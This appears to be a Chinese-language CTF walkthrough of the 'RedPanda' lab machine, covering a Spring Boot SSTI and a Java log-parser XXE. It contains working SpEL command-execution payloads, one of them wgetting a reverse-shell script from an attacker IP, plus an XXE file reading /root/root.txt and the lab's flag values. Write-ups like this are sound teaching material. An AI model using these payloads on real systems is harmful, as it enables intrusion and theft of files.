[Meachines] [Easy] RedPanda SSTI+Java逆向分析+XXE实体注入
字数 1238 2025-08-29 08:30:25
RedPanda靶机渗透测试教学文档
1. 信息收集
1.1 目标识别
- IP地址: 10.10.11.170
- 开放端口:
- 22/tcp (SSH - OpenSSH 8.2p1 Ubuntu)
- 8080/tcp (HTTP - Spring Boot应用)
1.2 Web应用分析
- 应用标题: "Red Panda Search | Made with Spring Boot"
- 作者信息: wooden_k
- 前端参考: 基于Codepen上的设计(https://codepen.io/khr2003/pen/BGZdXw)
- 资源文件:
- /css/panda.css
- /css/main.css
2. 漏洞利用
2.1 SSTI (服务器端模板注入)
漏洞位置: HTTP服务(8080端口)存在模板注入漏洞
利用方法:
-
基本测试:
http://10.10.11.170:8080/search?name=*{8*8}如果返回64,确认存在SSTI漏洞
-
命令执行载荷:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('命令').getInputStream())} -
完整利用步骤:
- 下载反向shell脚本:
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget http://攻击者IP:9999/rev.sh').getInputStream())} - 赋予执行权限:
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x rev.sh').getInputStream())} - 执行脚本:
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('./rev.sh').getInputStream())}
- 下载反向shell脚本:
2.2 权限提升(Java逆向分析+XXE)
2.2.1 获取Java应用
- 从目标下载Java应用:
scp -i ./id_rsa woodenk@10.10.11.170:/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar ./
2.2.2 应用功能分析
- 解析/opt/panda_search/redpanda.log文件
- 提取访问JPG图片的请求信息
- 读取图片的Artist属性
- 更新对应/credits/
_creds.xml文件中的访问统计数据
2.2.3 XXE漏洞利用
-
准备恶意图片:
exiftool -Artist="../tmp/exp" exp.jpg- Artist属性设置为"../tmp/exp"实现目录穿越
-
创建恶意XML文件(/tmp/exp_creds.xml):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY file SYSTEM "/root/root.txt"> ]> <credits> <author>xxx</author> <image> <uri>tmp/exp.jpg</uri> <views>0</views> <data>&file;</data> </image> <totalviews>0</totalviews> </credits> -
触发漏洞:
- 修改日志文件:
echo "200||test||test|tmp/exp.jpg" >> /opt/panda_search/redpanda.log - 应用会读取exp.jpg的Artist属性("../tmp/exp")
- 尝试加载/tmp/exp_creds.xml
- XML中的外部实体(file)会读取/root/root.txt内容
- 修改日志文件:
3. 关键文件路径
- 用户flag: /home/woodenk/user.txt (82505dbb5ab9adee0a0421d9b63840a7)
- root flag: /root/root.txt (4f85a578d0e89b0aa9ad4f525fd3213b)
- 日志文件: /opt/panda_search/redpanda.log
- Java应用: /opt/credit-score/LogParser/final/target/final-1..0-jar-with-dependencies.jar
4. 技术要点总结
-
SSTI利用:
- Spring Boot应用未对用户输入进行过滤
- 使用SpEL表达式实现RCE
-
XXE利用:
- 通过图片元数据(Artist)实现路径控制
- 利用XML外部实体注入读取敏感文件
- 需要logs组权限修改日志文件触发
-
权限提升路径:
- 初始访问: SSTI → RCE
- 权限提升: 分析Java应用 → 发现XXE → 读取root flag